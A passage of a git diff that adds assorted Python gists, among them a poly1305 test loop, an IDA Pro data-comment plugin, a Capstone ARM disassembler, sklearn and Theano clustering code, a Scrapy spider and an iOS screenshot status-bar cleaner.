+                print >>sys.stderr, time.asctime(), "passed %i lines"%(LC,)
+            try:
+                poly1305_verify(_buffer(k), _buffer(r), _buffer(m, 0, l), _buffer(out))
+            except VerificationFailed:
+                print "poly1305_verify failed"
+                sys.exit(1)
+
+            x = ord(os.urandom(1)) & 15
+            y = 1 + (ord(os.urandom(1))%255)
+            out[x] ^= y
+            try:
+                poly1305_verify(_buffer(k), _buffer(r), _buffer(m, 0, l), _buffer(out))
+            except VerificationFailed:
+                pass
+            else:
+                print "poly1305_verify succeeded on bad input"
+                sys.exit(1)
+
+            out[x] ^= y
+            if l >= MAXLEN:
+                break
+
+            n[0] ^= loop & 255
+            for i in xrange(16):
+                n[i] ^= out[i]
+            if l % 2:
+                for i in xrange(16):
+                    k[i] ^= out[i]
+            if l % 3:
+                for i in xrange(16):
+                    r[i] ^= out[i]
+            m[l] ^= out[0]
+            l += 1
+            if LC >= MAXLC:
+                return
+
+if __name__ == '__main__':
+    try:
+        # try to make it a bit faster....
+        import psyco
+        psyco.full()
+    except:
+        pass
+    print >>sys.stderr, '''
+Now testing this poly1305 implementation.
+Expected runtime to completion on a modern desktop running CPython is around
+10 days +/-. If this passes any checkpoint (10010, 123456, etc., lines), then
+it is likely not suffering from any debilitating implementation flaw (at least
+in terms of correctness, no guarantees regarding sideband attacks), and you
+can probably kill it.
+'''
+    print >>sys.stderr, time.asctime(), "Starting..."
+    t = time.time()
+    main()
+    print >>sys.stderr, time.asctime(), time.time()-t, "seconds elapsed"
diff --git a/hard-gists/793f7ddfc2393ffd0418/._snippet.py b/hard-gists/793f7ddfc2393ffd0418/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/793f7ddfc2393ffd0418/._snippet.py differ
diff --git a/hard-gists/793f7ddfc2393ffd0418/snippet.py b/hard-gists/793f7ddfc2393ffd0418/snippet.py
new file mode 100644
index 00000000..4796f6aa
--- /dev/null
+++ b/hard-gists/793f7ddfc2393ffd0418/snippet.py
@@ -0,0 +1,102 @@
+##########################################################################
+# An IDAPython plugin that generates "comment" for data
+#
+# Compiler sometimes optimized initialisation of small strings
+# and init them with, this example write "Hello!\n":
+#     - mov dword ptr[rax + 0], 6c6c6548h
+#     - mov dword ptr[rax + 4], a216fh
+#
+# This plugin will auto comment the following line as:
+#     - mov dword ptr[rax + 0], 6c6c6548h; 'Hell'
+#     - mov dword ptr[rax + 4], a216fh; 'o\n\x00\x00'
+#
+# In a second time, you can choose to concatenate them by select both line
+# and press "Ctrl+H" or go the Edit menu and click on "Extract selected data"
+#
+# This will change comment to:
+#     - mov dword ptr[rax + 0], 6c6c6548h; 'Hello\n\x00\x00'
+#     - mov dword ptr[rax + 4], a216fh;
+#
+# @BestPig
+##########################################################################
+import idc
+import idaapi
+import idautils
+import sys
+
+
+class DataCommentPlugin(idaapi.plugin_t):
+    flags = 0
+    comment = "Add comment on initialisation data with \"mov dword ptr[reg + 0x10], 74657465h\""
+    help = ""
+    wanted_name = "DataComment"
+    wanted_hotkey = ""
+
+    NAME = "datacomment.py"
+
+    def init(self):
+        self.menu_context_extract = idaapi.add_menu_item("Edit/", "Extract selected data", "Ctrl+H", 0, self.dc_extract, (None,))
+        idaapi.autoWait()
+        for seg_addr in Segments():
+            segment = getseg(seg_addr)
+            if not segment.perm & SEGPERM_EXEC:
+                continue
+            self.dcu_extract_between_addr(segment.startEA, segment.endEA)
+        return idaapi.PLUGIN_KEEP
+
+    def term(self):
+        idaapi.del_menu_item(self.menu_context_extract)
+        return None
+
+    def run(self, arg):
+        return None
+
+    def dcu_is_wanted_assign(self, instr, addr):
+        if instr.get_canon_mnem() != 'mov':
+            return False
+        if GetOpType(addr, 1) != o_imm:
+            return False
+        if not getseg(addr).use32():
+            return False
+        if not 'dword ptr [' in GetOpnd(addr, 0):
+            return False
+        if (GetOperandValue(addr, 1) & 0xfffff000) == GetOperandValue(addr, 1):
+            return False
+        return True
+
+    def dcu_extract_between_addr(self, startAddr, endAddr, toMerge=False, force=False):
+        current_addr = startAddr
+        merged_comment = ''
+        first_mov = None
+        while current_addr <= endAddr:
+            instr = DecodeInstruction(current_addr)
+            if not instr:
+                current_addr += 1
+                continue
+            if self.dcu_is_wanted_assign(instr, current_addr):
+                if not first_mov:
+                    first_mov = current_addr
+                data_str = struct.pack('I', GetOperandValue(current_addr, 1) & 0xffffffff)
+                if toMerge:
+                    merged_comment += data_str
+                current_comment = GetCommentEx(current_addr, 1)
+                if not current_comment or toMerge or force:
+                    exact_comment = repr(data_str)[0 if sys.version_info.major < 3 else 1:]
+                    if toMerge and current_comment == exact_comment:
+                        MakeRptCmt(current_addr, ' ')
+                    elif (not current_comment and not toMerge) or force:
+                        MakeRptCmt(current_addr, '%s' % exact_comment)
+            current_addr += instr.size
+        if merged_comment and first_mov:
+            MakeRptCmt(first_mov, '%s' % repr(merged_comment)[0 if sys.version_info.major < 3 else 1:])
+
+    def dc_extract(self, arg):
+        multiple, start, end = idaapi.read_selection()
+        if multiple:
+            self.dcu_extract_between_addr(start, end, True)
+        else:
+            self.dcu_extract_between_addr(here(), here(), False, True)
+        return
+
+def PLUGIN_ENTRY():
+    return DataCommentPlugin()
diff --git a/hard-gists/79405fa0f930e41544b584c4d7864611/._snippet.py b/hard-gists/79405fa0f930e41544b584c4d7864611/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/79405fa0f930e41544b584c4d7864611/._snippet.py differ
diff --git a/hard-gists/79405fa0f930e41544b584c4d7864611/snippet.py b/hard-gists/79405fa0f930e41544b584c4d7864611/snippet.py
new file mode 100644
index 00000000..9c5b75f7
--- /dev/null
+++ b/hard-gists/79405fa0f930e41544b584c4d7864611/snippet.py
@@ -0,0 +1,50 @@
+from kivy.app import App
+from kivy.lang import Builder
+from kivy.properties import NumericProperty
+from kivy.uix.widget import Widget
+from kivy.clock import Clock
+
+
+KV = '''
+#:import degrees math.degrees
+#:import sin math.sin
+#:import pi math.pi
+
+Loading:
+    angle_start: app.time
+    angle_end: app.time + (2.5 * pi * sin(sin(app.time) ** 2. / 2 + .15))
+
+    canvas:
+        SmoothLine:
+            ellipse:
+                (
+                self.x + self.width / 4.,
+                self.center_y - self.width / 4.,
+                self.width / 2.,
+                self.width / 2.,
+                degrees(self.angle_start or 0),
+                degrees(self.angle_end or 0)
+                )
+            width: dp(50)
+            cap: 'none'
+            overdraw_width: 5
+'''
+
+
+class Loading(Widget):
+    pass
+
+
+class LoadingApp(App):
+    time = NumericProperty()
+
+    def build(self):
+        Clock.schedule_interval(self.update_time, 0)
+        return Builder.load_string(KV)
+
+    def update_time(self, dt):
+        self.time += dt
+
+
+if __name__ == '__main__':
+    LoadingApp().run()
diff --git a/hard-gists/794424/._snippet.py b/hard-gists/794424/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/794424/._snippet.py differ
diff --git a/hard-gists/794424/snippet.py b/hard-gists/794424/snippet.py
new file mode 100644
index 00000000..97772a6b
--- /dev/null
+++ b/hard-gists/794424/snippet.py
@@ -0,0 +1,102 @@
+from tastypie import fields
+from tastypie.authentication import Authentication
+from tastypie.authorization import Authorization
+from tastypie.bundle import Bundle
+from tastypie.exceptions import NotFound
+from tastypie.resources import Resource
+
+
+# a dummy class representing a row of data
+class Row(object):
+    id = None
+    name = ''
+
+
+# create some rows
+r1 = Row()
+r1.id = 1
+r1.name = 'foo'
+
+r2 = Row()
+r2.id = 2
+r2.name = 'bar'
+
+r3 = Row()
+r3.id = 3
+r3.name = 'baz'
+
+# data dictionary... a real bare-bones data source
+data = { 1: r1, 2: r1, 3: r3 }
+
+
+class RowResource(Resource):
+    # fields must map to the attributes in the Row class
+    id = fields.IntegerField(attribute = 'id')
+    name = fields.CharField(attribute = 'name')
+    
+    class Meta:
+        resource_name = 'row'
+        object_class = Row
+        authentication = Authentication()
+        authorization = Authorization()
+
+    # adapted this from ModelResource
+    def get_resource_uri(self, bundle_or_obj):
+        kwargs = {
+            'resource_name': self._meta.resource_name,
+        }
+
+        if isinstance(bundle_or_obj, Bundle):
+            kwargs['pk'] = bundle_or_obj.obj.id # pk is referenced in ModelResource
+        else:
+            kwargs['pk'] = bundle_or_obj.id
+        
+        if self._meta.api_name is not None:
+            kwargs['api_name'] = self._meta.api_name
+        
+        return self._build_reverse_url('api_dispatch_detail', kwargs = kwargs)
+
+    def get_object_list(self, request):
+        # inner get of object list... this is where you'll need to
+        # fetch the data from what ever data source
+        return data.values()
+
+    def obj_get_list(self, request = None, **kwargs):
+        # outer get of object list... this calls get_object_list and
+        # could be a point at which additional filtering may be applied
+        return self.get_object_list(request)
+
+    def obj_get(self, request = None, **kwargs):
+        # get one object from data source
+        pk = int(kwargs['pk'])
+        try:
+            return data[pk]
+        except KeyError:
+            raise NotFound("Object not found") 
+    
+    def obj_create(self, bundle, request = None, **kwargs):
+        # create a new row
+        bundle.obj = Row()
+        
+        # full_hydrate does the heavy lifting mapping the
+        # POST-ed payload key/values to object attribute/values
+        bundle = self.full_hydrate(bundle)
+        
+        # we add it to our in-memory data dict for fun
+        data[bundle.obj.id] = bundle.obj
+        return bundle
+    
+    def obj_update(self, bundle, request = None, **kwargs):
+        # update an existing row
+        pk = int(kwargs['pk'])
+        try:
+            bundle.obj = data[pk]
+        except KeyError:
+            raise NotFound("Object not found")
+        
+        # let full_hydrate do its work
+        bundle = self.full_hydrate(bundle)
+        
+        # update existing row in data dict
+        data[pk] = bundle.obj
+        return bundle
diff --git a/hard-gists/7946246/._snippet.py b/hard-gists/7946246/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7946246/._snippet.py differ
diff --git a/hard-gists/7946246/snippet.py b/hard-gists/7946246/snippet.py
new file mode 100644
index 00000000..c7c36821
--- /dev/null
+++ b/hard-gists/7946246/snippet.py
@@ -0,0 +1,94 @@
+import numpy as np
+import numpy
+import theano
+import theano.tensor as T
+from theano import function, config, shared, sandbox
+from theano import ProfileMode
+from sklearn import cluster, datasets
+import matplotlib.pyplot as plt
+
+def rsom(data, cluster_num, alpha, epochs = -1, batch = 1, verbose = False):   
+    rng = np.random
+    
+    # From Kohonen's paper
+    if epochs == -1:
+        print data.shape[0]
+        epochs = 500 * data.shape[0]
+    
+    # Symmbol variables
+    X = T.dmatrix('X')
+    WIN = T.dmatrix('WIN')
+    
+    # Init weights random
+    W = theano.shared(rng.randn(cluster_num, data.shape[1]), name="W")
+    W_old = W.get_value()
+    
+    # Find winner unit
+    bmu = ((W**2).sum(axis=1, keepdims=True) + (X**2).sum(axis=1, keepdims=True).T - 2*T.dot(W, X.T)).argmin(axis=0)
+    dist = T.dot(WIN.T, X) - WIN.sum(0)[:, None] * W
+    err = abs(dist).sum()
+    
+    update = function([X,WIN],outputs=err,updates=[(W, W + alpha * dist)], mode="FAST_RUN")
+    find_bmu = function([X], bmu, mode="FAST_RUN")
+    
+    if any([x.op.__class__.__name__ in ['Gemv', 'CGemv', 'Gemm', 'CGemm'] for x in
+            update.maker.fgraph.toposort()]):
+        print 'Used the cpu'
+    elif any([x.op.__class__.__name__ in ['GpuGemm', 'GpuGemv'] for x in
+            update.maker.fgraph.toposort()]):
+        print 'Used the gpu'
+    else:
+        print 'ERROR, not able to tell if theano used the cpu or the gpu'
+        print update.maker.fgraph.toposort()
+    
+    
+    # Update
+    for epoch in range(epochs):
+        C = 0
+        for i in range(0, data.shape[0], batch):
+            D = find_bmu(data[i:i+batch, :])
+            S = np.zeros([batch,cluster_num])
+            S[range(batch),D] = 1
+            cost = update(data[i:i+batch, :], S)
+            
+        if epoch%10 == 0 and verbose:
+            print "Avg. centroid distance -- ", cost.sum(),"\t EPOCH : ", epoch
+    return W.get_value()
+
+def kmeans(X, cluster_num, numepochs, learningrate=0.01, batchsize=100, verbose=True): 
+    rng = numpy.random
+    W =rng.randn(cluster_num, X.shape[1])
+    X2 = (X**2).sum(1)[:, None]
+    for epoch in range(numepochs):
+        for i in range(0, X.shape[0], batchsize):
+            D = -2*numpy.dot(W, X[i:i+batchsize,:].T) + (W**2).sum(1)[:, None] + X2[i:i+batchsize].T
+            S = (D==D.min(0)[None,:]).astype("float").T
+            W += learningrate * (numpy.dot(S.T, X[i:i+batchsize,:]) - S.sum(0)[:, None] * W) 
+        if verbose:
+            print "epoch", epoch, "of", numepochs, " cost: ", D.min(0).sum()
+    return W
+
+
+# Test Codes
+blobs = datasets.make_blobs(n_samples=4000, random_state=8)
+noisy_moons = datasets.make_moons(n_samples=4000, noise=.05)
+noisy_circles = datasets.make_circles(n_samples=2000, factor=.5,
+                                      noise=.05)
+
+DATA = noisy_circles[0]
+
+import time
+t1 = time.time()
+W = rsom(DATA ,3,alpha = 0.001, epochs=100, batch=10, verbose=True)
+t2 = time.time()
+
+t3 = time.time()
+W2 = kmeans(DATA, 3, numepochs = 100, batchsize=10, learningrate=0.001)
+t4 = time.time()
+
+print "RSOM : ",t2-t1
+print "kmeans : ", t4-t3
+
+plt.scatter(DATA[:,0], DATA[:,1], color='red')
+plt.scatter(W[:,0],W[:,1],color='blue',s=20,edgecolor='none')
+plt.scatter(W2[:,0],W2[:,1],color='yellow',s=20,edgecolor='none')
\ No newline at end of file
diff --git a/hard-gists/7946961/._snippet.py b/hard-gists/7946961/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7946961/._snippet.py differ
diff --git a/hard-gists/7946961/snippet.py b/hard-gists/7946961/snippet.py
new file mode 100644
index 00000000..66e598ae
--- /dev/null
+++ b/hard-gists/7946961/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+#
+# Simple utility to disassemble a raw bytecode file using Capstone.
+#
+# -jduck
+#
+
+import argparse
+import capstone
+import struct
+
+def arm_mode(string):
+    if string == "arm":
+        return capstone.CS_MODE_ARM
+    elif string == "thumb":
+        return capstone.CS_MODE_THUMB
+    msg = "%r is not a valid ARM execution mode" % string
+    raise argparse.ArgumentTypeError(msg)
+    return None
+
+def hexbytes(insn):
+    b = buffer(insn.bytes)
+    if len(insn.bytes) == 4:
+        return "0x%08x" % (struct.unpack_from('I', b))
+    elif len(insn.bytes) == 2:
+        return "0x%04x" % (struct.unpack_from('H', b))
+    raise 'Unknown instruction lenght?!'
+
+if __name__ == "__main__":
+    p = argparse.ArgumentParser(description='ARM disassembler tool')
+    #p.add_argument('-a', '--arch', default='x86', type=arch
+    p.add_argument('-m', '--mode', default='arm', type=arm_mode, help='ARM execution mode')
+    p.add_argument('-f', '--file', default=None, help='File to read opcodes from')
+    args = p.parse_args()
+
+    code = None
+    with open(args.file, 'rb') as f:
+        code = f.read()
+
+    md = capstone.Cs(capstone.CS_ARCH_ARM, args.mode)
+    for insn in md.disasm(code, 0x0):
+        print "0x%08x: %-10s %s %s" % (insn.address, hexbytes(insn), insn.mnemonic, insn.op_str)
diff --git a/hard-gists/7948151/._snippet.py b/hard-gists/7948151/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7948151/._snippet.py differ
diff --git a/hard-gists/7948151/snippet.py b/hard-gists/7948151/snippet.py
new file mode 100644
index 00000000..7ef88ca9
--- /dev/null
+++ b/hard-gists/7948151/snippet.py
@@ -0,0 +1,355 @@
+# Authors: Olivier Grisel <olivier.grisel@ensta.org>
+#          James Bergstra <james.bergstra@umontreal.ca>
+#          Vlad Niculae <vlad@vene.ro>
+#
+# License: BSD 3 Clause
+# Updated to sklearn 0.14 by Kyle Kastner <kastnerkyle@gmail.com>
+
+import numpy as np
+
+from sklearn.decomposition import PCA
+from sklearn.base import BaseEstimator, TransformerMixin
+from sklearn.cluster import KMeans
+from sklearn.metrics.pairwise import euclidean_distances
+
+class KMeansCoder(BaseEstimator, TransformerMixin):
+    """K-means based dictionary learning
+
+    The fit method receives an array of signals, whitens them using
+    a PCA transform and run a KMeans algorithm to extract the patch
+    cluster centers.
+
+    The input is then correlated with each individual "patch-center"
+    treated as a convolution kernel. The transformation can be done
+    using various sparse coding methods, tresholding or the triangle
+    k-means non-linearity.
+
+    This estimator only implements the unsupervised feature extraction
+    part of the referenced paper. Image classification can then be
+    performed by training a linear SVM model on the output of this
+    estimator.
+
+    Parameters
+    ----------
+    n_atoms: int,
+        number of centers extracted by the kmeans algorithm
+
+    whiten: boolean, optional: default True
+        perform a whitening PCA on the data at feature extraction time
+
+    n_components: int, optional: default None
+        number of components to keep after whitening individual samples
+
+    max_iter: int, default 100
+        maximum number of iterations to run the k-means algorithm
+
+    n_init, int, default 1
+        number of times to initialize the k-means algorithm in order to
+        avoid convergence to local optima
+
+    n_prefit: int, default 5
+        dimension of reduced curriculum space in which to prefit the k-means
+        algorithm for increased performance.
+        This is used only when `whiten=True`.
+
+    tol: float, default 1e-4
+        tolerance for numerical errors
+
+    local_contrast: boolean, optional: default True
+        perform local contrast normalization on the extracted patch
+
+    verbose: bool, default False
+        whether to display verbose output
+
+    transform_algorithm: {'lasso_lars', 'lasso_cd', 'lars', 'omp', 'threshold'}
+        Algorithm used to transform the data.
+        lars: uses the least angle regression method (linear_model.lars_path)
+        lasso_lars: uses Lars to compute the Lasso solution
+        lasso_cd: uses the coordinate descent method to compute the
+        Lasso solution (linear_model.Lasso). lasso_lars will be faster if
+        the estimated components are sparse.
+        omp: uses orthogonal matching pursuit to estimate the sparse solution
+        threshold: squashes to zero all coefficients less than alpha from
+        the projection X.T * Y
+
+    transform_n_nonzero_coefs: int, 0.1 * n_features by default
+        Number of nonzero coefficients to target in each column of the
+        solution. This is only used by `algorithm='lars'` and `algorithm='omp'`
+        and is overridden by `alpha` in the `omp` case.
+
+    transform_alpha: float, 1. by default
+        If `algorithm='lasso_lars'` or `algorithm='lasso_cd'`, `alpha` is the
+        penalty applied to the L1 norm.
+        If `algorithm='threshold'`, `alpha` is the absolute value of the
+        threshold below which coefficients will be squashed to zero.
+        If `algorithm='omp'`, `alpha` is the tolerance parameter: the value of
+        the reconstruction error targeted. In this case, it overrides
+        `n_nonzero_coefs`.
+
+    split_sign: bool, default False
+        whether to split the transformed feature vectors into positive and
+        negative components, such that the downstream classification algorithms
+        can assign different weights depending on the sign
+
+    n_jobs: int,
+        number of parallel jobs to run
+
+    Attributes
+    ----------
+    components_: array of shape n_atoms, n_features
+        centers extracted by k-means from the patch space
+
+    Reference
+    ---------
+    An Analysis of Single-Layer Networks in Unsupervised Feature Learning
+    Adam Coates, Honglak Lee and Andrew Ng. In NIPS*2010 Workshop on
+    Deep Learning and Unsupervised Feature Learning.
+    http://robotics.stanford.edu/~ang/papers/nipsdlufl10-AnalysisSingleLayerUnsupervisedFeatureLearning.pdf
+
+    """
+    def __init__(self, n_atoms, whiten=True, n_components=None,
+                 max_iter=100, n_init=1, n_prefit=5, tol=1e-4,
+                 local_contrast=True, n_drop_components=0, verbose=False,
+                 transform_algorithm='omp', transform_n_nonzero_coefs=None,
+                 transform_alpha=None, split_sign=False, n_jobs=1):
+        self.n_atoms = n_atoms
+        self.whiten = whiten
+        self.max_iter = max_iter
+        self.n_init = n_init
+        self.n_components = n_components
+        self.local_contrast = local_contrast
+        self.n_prefit = n_prefit
+        self.verbose = verbose
+        self.tol = tol
+        self.transform_algorithm = transform_algorithm
+        self.transform_n_nonzero_coefs = transform_n_nonzero_coefs
+        self.transform_alpha = transform_alpha
+        self.split_sign = split_sign
+        self.n_jobs = n_jobs
+
+    def local_contrast_normalization(self, X):
+        """Normalize the patch-wise variance of the signal
+
+        Parameters
+        ----------
+        X: array-like, shape n_samples, n_features
+            Data to be normalized
+
+        Returns
+        -------
+        X:
+            Data after individual normalization of the samples
+        """
+        # XXX: this should probably be extracted somewhere more general
+        # center all colour channels together
+        X = X.reshape((X.shape[0], -1))
+        X -= X.mean(axis=1)[:, None]
+
+        X_std = X.std(axis=1)
+        # Cap the divisor to avoid amplifying samples that are essentially
+        # a flat surface into full-contrast salt-and-pepper garbage.
+        # the actual value is a wild guess
+        # This trick is credited to N. Pinto
+        min_divisor = (2 * X_std.min() + X_std.mean()) / 3
+        X /= np.maximum(min_divisor, X_std).reshape(
+            (X.shape[0], 1))
+        return X
+
+    def fit(self, X, y=None, **kwargs):
+        """Fit the encoder on a collection of data, e.g. image patches.
+
+        Parameters
+        ----------
+        X: array-like, shape: n_samples, n_features
+            the patch data to be fitted
+
+        Returns
+        -------
+        self: object
+            Returns the object itself
+        """
+        X = np.atleast_2d(X)
+        n_samples, n_features = X.shape
+        # normalize each patch individually
+        if self.local_contrast:
+            if self.verbose:
+                print "Local contrast normalization of the data"
+            X = self.local_contrast_normalization(X)
+
+        # kmeans model to find the filters
+        if self.verbose:
+            print "About to extract atoms from %d samples" % n_samples
+        kmeans = KMeans(n_clusters=self.n_atoms, init='k-means++',
+                        max_iter=self.max_iter, n_init=self.n_init,
+                        tol=self.tol, verbose=self.verbose)
+
+        if self.whiten:
+            if self.verbose:
+                print "Whitening PCA of the samples"
+            self.pca = pca = PCA(whiten=True, n_components=self.n_components)
+            pca.fit(X)
+            X = pca.transform(X)
+
+            # compute the KMeans centers
+            if 0 < self.n_prefit < pca.n_components:
+                if self.verbose:
+                    print "First KMeans in simplified curriculum space"
+                # starting the kmeans on a the projection to the first singular
+                # components: curriculum learning trick by Andrej Karpathy
+                kmeans.fit(X[:, :self.n_prefit])
+
+                # warm restart by padding previous centroids with zeros
+                # with full dimensionality this time
+                kmeans.init = np.zeros((self.n_atoms, pca.n_components),
+                                       dtype=kmeans.cluster_centers_.dtype)
+                kmeans.init[:, :self.n_prefit] = kmeans.cluster_centers_
+                if self.verbose:
+                    print "Second KMeans in full whitened sample space"
+                kmeans.set_params(n_init=1).fit(X)
+            else:
+                if self.verbose:
+                    print "KMeans in full original sample space"
+                # regular kmeans fit (without the curriculum trick)
+                kmeans.fit(X)
+
+            # project back the centers in original, non-whitened space (useful
+            # for qualitative inspection of the filters)
+            self.components_ = self.pca.inverse_transform(
+                                                       kmeans.cluster_centers_)
+        else:
+            # find the kernel in the raw original dimensional space
+            # TODO: experiment with component wise scaling too
+            self.pca = None
+            kmeans.fit(X)
+            self.components_ = kmeans.cluster_centers_
+
+        self.kmeans = kmeans
+        self.inertia_ = kmeans.inertia_
+        return self
+
+    def transform(self, X, y=None):
+        """Map a collection of samples into the feature space
+
+        """ + BaseDictionaryLearning.transform.__doc__
+        if self.local_contrast:
+            # TODO: make it inplace by default explictly
+            X = self.local_contrast_normalization(X)
+
+        return BaseDictionaryLearning.transform(self, X, y)
+
+if __name__ == '__main__':
+    """
+    Dictionary learning with K-Means on faces image data
+    ====================================================
+
+    This shows 400 dictionary atoms learned from 6x6 image patches extracted from
+    the face recognition dataset. The dictionary atoms are learned using
+    (:ref:`KMeansCoder`), with and respectively without a whitening PCA transform.
+
+    The dataset used in this example is a preprocessed excerpt of the
+    "Labeled Faces in the Wild", aka LFW_:
+    
+    http://vis-www.cs.umass.edu/lfw/lfw-funneled.tgz (233MB)
+    
+    .. _LFW: http://vis-www.cs.umass.edu/lfw/
+    
+    .. |kc_no_w| image:: /images/plot_kmeans_coder_1.png
+    :scale: 50%
+    
+    .. |kc_w| image:: /images/plot_kmeans_coder_2.png
+    :scale: 50%
+    
+    .. centered:: |kc_no_w| |kc_w|
+    
+    """
+    print __doc__
+    
+    from time import time
+    import logging
+    import pylab as pl
+    
+    import numpy as np
+    
+    from sklearn.cross_validation import StratifiedKFold
+    from sklearn.datasets import fetch_lfw_people
+    from sklearn.feature_extraction.image import PatchExtractor
+    
+    # Display progress logs on stdout
+    logging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')
+    
+    ###############################################################################
+    # Download the data, if not already on disk and load it as numpy arrays
+    
+    lfw_people = fetch_lfw_people(min_faces_per_person=70, resize=0.4)
+    
+    # reshape the data using the traditional (n_samples, n_features) shape
+    faces = lfw_people.data
+    n_samples, h, w = lfw_people.images.shape
+    
+    X = faces
+    X -= X.mean(axis=1)[:, np.newaxis]
+    n_features = X.shape[1]
+    X = X.reshape((n_samples, h, w))
+    
+    # the label to predict is the id of the person
+    y = lfw_people.target
+    target_names = lfw_people.target_names
+    n_classes = target_names.shape[0]
+    
+    print "Total dataset size:"
+    print "n_samples: %d" % n_samples
+    print "n_features: %d" % n_features
+    print "n_classes: %d" % n_classes
+    
+    
+    ###############################################################################
+    # Split into a training set and a test set using a stratified k fold
+    
+    train, test = iter(StratifiedKFold(y, n_folds=4)).next()
+    X_train, X_test = X[train], X[test]
+    y_train, y_test = y[train], y[test]
+    
+    
+    ###############################################################################
+    # Compute a PCA (eigenfaces) on the face dataset (treated as unlabeled
+    # dataset): unsupervised feature extraction / dimensionality reduction
+    n_atoms = 400
+    
+    print "Extracting image patches from %d faces" % len(X_train)
+    t0 = time()
+    extr = PatchExtractor(patch_size=(6, 6), max_patches=100, random_state=0)
+    patches = extr.transform(X_train)
+    print "done in %0.3fs" % (time() - t0)
+    
+    print "Extracting %d atoms from %d patches" % (
+        n_atoms, len(patches))
+    t0 = time()
+    patches = patches.reshape((patches.shape[0], patches.shape[1] * patches.shape[2]))
+    kc1 = KMeansCoder(n_atoms, max_iter=5, verbose=True, whiten=False).fit(patches)
+    print "done in %0.3fs" % (time() - t0)
+    
+    print "Extracting %d whitened atoms from %d patches" % (
+        n_atoms, len(patches))
+    t0 = time()
+    kc2 = KMeansCoder(n_atoms, max_iter=5, verbose=True, whiten=True).fit(patches)
+    print "done in %0.3fs" % (time() - t0)
+    
+    ###############################################################################
+    # Qualitative evaluation of the extracted filters
+    
+    n_row = int(np.sqrt(n_atoms))
+    n_col = int(np.sqrt(n_atoms))
+    titles = ["without whitening PCA", "with whitening PCA"]
+    
+    for img_index, components in enumerate((kc1.components_, kc2.components_)):
+        pl.figure(figsize=(5, 6))
+        pl.suptitle("Dictionary learned with K-Means on the \n LFW dataset " +
+                    titles[img_index])
+        for i, atom in enumerate(components):
+            pl.subplot(n_row, n_col, i + 1)
+            pl.imshow(atom.reshape((6, 6)), cmap=pl.cm.gray,
+                                            interpolation="nearest")
+            pl.xticks(())
+            pl.yticks(())
+        pl.subplots_adjust(0.02, 0.03, 0.98, 0.90, 0.14, 0.01)
+        pl.show()
diff --git a/hard-gists/795180/._snippet.py b/hard-gists/795180/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/795180/._snippet.py differ
diff --git a/hard-gists/795180/snippet.py b/hard-gists/795180/snippet.py
new file mode 100644
index 00000000..55b8bead
--- /dev/null
+++ b/hard-gists/795180/snippet.py
@@ -0,0 +1,22 @@
+from scrapy.spider import BaseSpider
+
+# Requires this patch:
+# https://github.com/joehillen/scrapy/commit/6301adcfe9933b91b3918a93387e669165a215c9
+from scrapy.selector import PyQuerySelector
+
+class DmozSpiderPyQuery(BaseSpider):
+    name = "pyquery"
+    allowed_domains = ["dmoz.org"]
+    start_urls = [
+       "http://www.dmoz.org/Computers/Programming/Languages/Python/Books/",
+       "http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/"
+    ]
+
+    def parse(self, response):
+        pq = PyQuerySelector(response)
+        sites = pq('ul li')
+        for site in sites:
+            title = pq(site).find('a').text()
+            link = pq(site).find('a').attr.href
+            desc = pq(site).text()
+            print title, link, desc
\ No newline at end of file
diff --git a/hard-gists/7955963/._snippet.py b/hard-gists/7955963/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7955963/._snippet.py differ
diff --git a/hard-gists/7955963/snippet.py b/hard-gists/7955963/snippet.py
new file mode 100644
index 00000000..2ea9c98a
--- /dev/null
+++ b/hard-gists/7955963/snippet.py
@@ -0,0 +1,103 @@
+#!/usr/bin/python
+
+import Image
+import base64, zlib
+
+# Jay Parlar convinced me to turn this data structure
+# from a dictionary into an object. 
+class PackedImage(object):
+  def __init__(self, mode, size, data):
+    self.mode = mode
+    self.size = size
+    self.data = ''.join(data)
+  
+  def unpack(self):
+    return Image.fromstring(self.mode,
+                            self.size,
+                            zlib.decompress(base64.b64decode(self.data)))
+
+def cleanbar(screenshot):
+  '''Clean up the statusbar in an iOS screenshot.
+
+  Cover the signal strength, battery, location, and bluetooth
+  graphics with full strength symbols.'''
+  
+  # This is for retina displays.
+  height = 40
+
+  # Statusbar image data for an iPhone 4, 4s, 5, 5c, or 5s portrait screenshot.
+  # The data string is compressed and base64-encoded.
+  limg = PackedImage('L',
+                     (200, 40),
+                     ['eJztlltIFFEYx896v6SSKCaJ2uZDD22UUVtBJBWZaS9BSgnWQy',
+                      'ShvSgk9hLdTMl8ENIVozCSCsTqKUW6qFCiYQaZ2oOrq4iUtKm4',
+                      'OW7MvzOzM7Ozl3bE8RI0v4fzne+cb2f+/z1nzgwhGhoaGhoaGh',
+                      'r/AxF6vZ8jyAjlpwLjdM4ij1kZgenlbSPTmBlpK08PXEXtchqB',
+                      'TBryISedjuhbFjBXE80Xec7KSKyakk1OVSWtugfK+l9zeEbj4a',
+                      'ccoxjg4zZCwobRdf87Ov2Jt1knEZUMXGEqo1bfRyGujtvjxOwR',
+                      'bord02gmJGgEu521slmJvWZOetfltHg/4hd/oPQdl5r3LeLOib',
+                      'WjjKU2SWUm8pHV30aJF6WXUETbauT49HF2gcpuNshGDE3ckuQp',
+                      '2kif4Rdv9qiqTCQVHWQ7hrwoTUMrbd9ji08fGQymjrmPTYFxH/',
+                      'MgeVrYhbPJKjKJGpwjpB/7PZUGD+MEuYEnsmJv+yq7V0/bgMz6',
+                      'PiusffVZATTT92Yr2SAm6XEyqchEQn7aIgkpxUMvSg+y1la0r1',
+                      'PwQeihrcszS1c3n9HxY0pYpF9YVGQiuXhM22TWFuWpNHYQqAqS',
+                      '39urD3rkvYSclmhlF4TMS/WMbumZyFtkcKETFzyUnrSyX/CC1g',
